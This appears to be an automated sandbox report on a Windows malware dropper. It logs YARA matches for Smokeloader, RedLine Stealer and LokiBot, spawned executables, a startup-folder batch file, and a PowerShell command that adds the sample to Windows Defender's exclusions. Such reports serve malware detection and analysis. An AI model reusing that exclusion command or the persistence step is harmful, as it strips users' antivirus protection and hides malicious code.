Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: wldp.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Section loaded: winmm.dll
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Section loaded: wtsapi32.dll

Source: 0000000F.00000002.2758122594.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.4581208018.000000000A499000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000011.00000002.3187282898.0000000001170000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.4581208018.000000000A6D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000024.00000002.3385094968.0000000001171000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000002.3216770112.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000014.00000002.3275782158.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000021.00000002.3266926233.000000000111E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000020.00000002.3381975417.0000000000FDD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.3275239614.0000000001202000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000002.3269213397.0000000001022000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000014.00000002.3245748971.000000000110C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000002.2758267027.0000000000942000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001E.00000002.3187121792.0000000001021000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000020.00000002.3398211956.0000000002D80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000024.00000002.3409633902.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000021.00000002.3298037878.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000019.00000002.3250452098.0000000002E80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: BroomSetup.exe.13.dr

Static PE information: Section: UPX1 ZLIB complexity 0.9906817205315225

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@115/137@16/100

Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe

Code function: 13_2_00405C44 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,GetDiskFreeSpaceA,MulDiv,

13_2_00405C44

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe

Code function: 15_2_00414DE0 CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification,

15_2_00414DE0

Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe

Code function: 13_2_00402988 CoCreateInstance,MultiByteToWideChar,

13_2_00402988

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File created: C:\Users\user\AppData\Local\xBWhJ9fAo9Iu3r2QPWYsNC0n.exe

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\signature_netsetup
Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:44256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:19828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:25656:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\signature_netcheck
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9660:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3876

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_znt5400f.utx.ps1

Source: Yara match	File source: 46.2.BroomSetup.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002E.00000002.4470759393.0000000000401000.00000040.00000001.01000000.0000002B.sdmp, type: MEMORY

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat" "

Source: dl7WL77rkA.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: dl7WL77rkA.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe

Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C048000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT OSArchitecture FROM Win32_OperatingSystem.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCDriverData=C:\Windows\System32\Drivers\DriverData
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0DA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT OSArchitecture FROM Win32_OperatingSystem.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCDriverData=C:\Windows\System32\Drivers\DriverData

Source: dl7WL77rkA.exe

ReversingLabs: Detection: 62%

Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: REQUESTED-ADDRESS-FAMILYRequest Entity Too LargeSA Eastern Standard TimeSA Pacific Standard TimeSA Western Standard TimeSafeArrayAllocDescriptorSetConsoleCursorPositionSetDefaultDllDirectoriesSetupDiCreateDeviceInfoWSetupDiGetSelectedDeviceSetupDiSetSelectedDe
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: yscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerCo
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: PED-ADDRESSMAX_FRAME_SIZEMB; allocated MakeAbsoluteSDMissing quotesModule32FirstWNetUserGetInfoNot AcceptableNtResumeThreadOSArchitectureOpenSCManagerWOther_ID_StartPROTOCOL_ERRORPattern_SyntaxProcess32NextWProtection DirQuotation_MarkRCodeNameErrorREFUSED_STR
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: inateProcessTor current modeTor is dowloadedTranslateMessageTrustedInstallerUnregisterClassWUpgrade RequiredUser-Agent: %s VirtualProtectExWinVerifyTrustExWindows DefenderWww-AuthenticateXOR-PEER-ADDRESSZanabazar_Square\windefender.exe runtime stack: address
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: unknown network unpacking headerworkbuf is emptywrite config: %wwww-authenticate spinningthreads=%%!%c(big.Int=%s)%s/address/%s/txs, p.searchAddr = 0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method AdjustToke
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: Temporary RedirectTerminateJobObjectTime.MarshalJSON: Time.MarshalText: UNKNOWN-ATTRIBUTESUNKNOWN_SETTING_%dUnknown value typeVariation_SelectorWeb Downloader/6.9WriteProcessMemoryXOR-MAPPED-ADDRESSadaptivestackstartbad Content-Lengthbad manualFreeListbufio: b
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: .654WDG_Validator/1.6.2WSALookupServiceEndWaitForSingleObjectWindowsCreateStringWindowsDeleteStringWinmonSystemMonitorXOR-RELAYED-ADDRESSYukon Standard Timeadjusttimers: bad pafter array elementattribute not foundbad ABI descriptionbad file descriptorbad kind
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: REQUESTED-ADDRESS-FAMILYRequest Entity Too LargeSA Eastern Standard TimeSA Pacific Standard TimeSA Western Standard TimeSafeArrayAllocDescriptorSetConsoleCursorPositionSetDefaultDllDirectoriesSetupDiCreateDeviceInfoWSetupDiGetSelectedDeviceSetupDiSetSelectedDe
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: yscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerCo
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: PED-ADDRESSMAX_FRAME_SIZEMB; allocated MakeAbsoluteSDMissing quotesModule32FirstWNetUserGetInfoNot AcceptableNtResumeThreadOSArchitectureOpenSCManagerWOther_ID_StartPROTOCOL_ERRORPattern_SyntaxProcess32NextWProtection DirQuotation_MarkRCodeNameErrorREFUSED_STR
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: inateProcessTor current modeTor is dowloadedTranslateMessageTrustedInstallerUnregisterClassWUpgrade RequiredUser-Agent: %s VirtualProtectExWinVerifyTrustExWindows DefenderWww-AuthenticateXOR-PEER-ADDRESSZanabazar_Square\windefender.exe runtime stack: address
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: unknown network unpacking headerworkbuf is emptywrite config: %wwww-authenticate spinningthreads=%%!%c(big.Int=%s)%s/address/%s/txs, p.searchAddr = 0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method AdjustToke
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: Temporary RedirectTerminateJobObjectTime.MarshalJSON: Time.MarshalText: UNKNOWN-ATTRIBUTESUNKNOWN_SETTING_%dUnknown value typeVariation_SelectorWeb Downloader/6.9WriteProcessMemoryXOR-MAPPED-ADDRESSadaptivestackstartbad Content-Lengthbad manualFreeListbufio: b
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: .654WDG_Validator/1.6.2WSALookupServiceEndWaitForSingleObjectWindowsCreateStringWindowsDeleteStringWinmonSystemMonitorXOR-RELAYED-ADDRESSYukon Standard Timeadjusttimers: bad pafter array elementattribute not foundbad ABI descriptionbad file descriptorbad kind
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: REQUESTED-ADDRESS-FAMILYRequest Entity Too LargeSA Eastern Standard TimeSA Pacific Standard TimeSA Western Standard TimeSafeArrayAllocDescriptorSetConsoleCursorPositionSetDefaultDllDirectoriesSetupDiCreateDeviceInfoWSetupDiGetSelectedDeviceSetupDiSetSelectedDe
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: yscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerCo
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: PED-ADDRESSMAX_FRAME_SIZEMB; allocated MakeAbsoluteSDMissing quotesModule32FirstWNetUserGetInfoNot AcceptableNtResumeThreadOSArchitectureOpenSCManagerWOther_ID_StartPROTOCOL_ERRORPattern_SyntaxProcess32NextWProtection DirQuotation_MarkRCodeNameErrorREFUSED_STR
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: inateProcessTor current modeTor is dowloadedTranslateMessageTrustedInstallerUnregisterClassWUpgrade RequiredUser-Agent: %s VirtualProtectExWinVerifyTrustExWindows DefenderWww-AuthenticateXOR-PEER-ADDRESSZanabazar_Square\windefender.exe runtime stack: address
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: unknown network unpacking headerworkbuf is emptywrite config: %wwww-authenticate spinningthreads=%%!%c(big.Int=%s)%s/address/%s/txs, p.searchAddr = 0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method AdjustToke
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: Temporary RedirectTerminateJobObjectTime.MarshalJSON: Time.MarshalText: UNKNOWN-ATTRIBUTESUNKNOWN_SETTING_%dUnknown value typeVariation_SelectorWeb Downloader/6.9WriteProcessMemoryXOR-MAPPED-ADDRESSadaptivestackstartbad Content-Lengthbad manualFreeListbufio: b
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: .654WDG_Validator/1.6.2WSALookupServiceEndWaitForSingleObjectWindowsCreateStringWindowsDeleteStringWinmonSystemMonitorXOR-RELAYED-ADDRESSYukon Standard Timeadjusttimers: bad pafter array elementattribute not foundbad ABI descriptionbad file descriptorbad kind

Source: unknown	Process created: C:\Users\user\Desktop\dl7WL77rkA.exe C:\Users\user\Desktop\dl7WL77rkA.exe
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\dl7WL77rkA.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3876 -s 134468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe "C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe "C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe "C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe"
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Process created: C:\Users\user\AppData\Local\Temp\syncUpd.exe C:\Users\user\AppData\Local\Temp\syncUpd.exe
